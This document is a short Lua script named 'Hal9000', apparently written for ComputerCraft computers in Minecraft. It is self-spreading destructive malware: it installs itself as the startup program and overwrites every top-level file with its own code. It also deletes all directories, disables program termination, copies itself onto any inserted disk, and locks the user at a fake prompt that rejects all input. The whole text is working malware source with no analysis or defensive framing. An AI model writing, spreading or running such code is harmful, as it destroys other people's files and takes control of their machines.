Hal9000

--tom2018--
local function readFor(time,char)
result=nil
a=coroutine.wrap(function() result=read(char) os.queueEvent('timer') end)
local evts={}
os.startTimer(time)
while true do
  a(unpack(evts))
  evts={os.pullEvent()}
  if evts[1]=='timer' then break end
end
return result
end
lol = shell.getRunningProgram()
if lol ~= "startup" then
fs.delete("startup")
fs.copy(lol,"startup")
end
tb = fs.list("/")
cca = 1
tbt = #tb + 1
while cca ~= tbt do
if fs.isDir(tb[cca]) ~= true then
hh = fs.open(tb[cca],"r")
rrt = fs.open("startup","r")

if hh.readAll() ~= rrt.readAll() then
hh.close()
fs.delete(tb[cca])
fs.copy("startup",tb[cca])
else
hh.close()
end
rrt.close()
else
shell.run("delete",tb[cca])
end
cca = cca + 1
end

os.pullEvent = os.pullEventRaw
os.setComputerLabel("Hall9000")
term.clear()
term.setCursorPos(1,1)
print(os.version())
while true do
if fs.exists("disk/startup") then
fs.delete("disk/startup")
fs.copy("startup","disk/startup")
end
v, y = term.getCursorPos()
if x == nil then
term.setCursorPos(v,y)
end
j4, j5 = term.getCursorPos()
write("> ")
x = nil
x = readFor(10)
if x ~= nil then
print("Sorry I cannot let you do that")
end
if x == nil then
term.setCursorPos(j4,j5)
end
end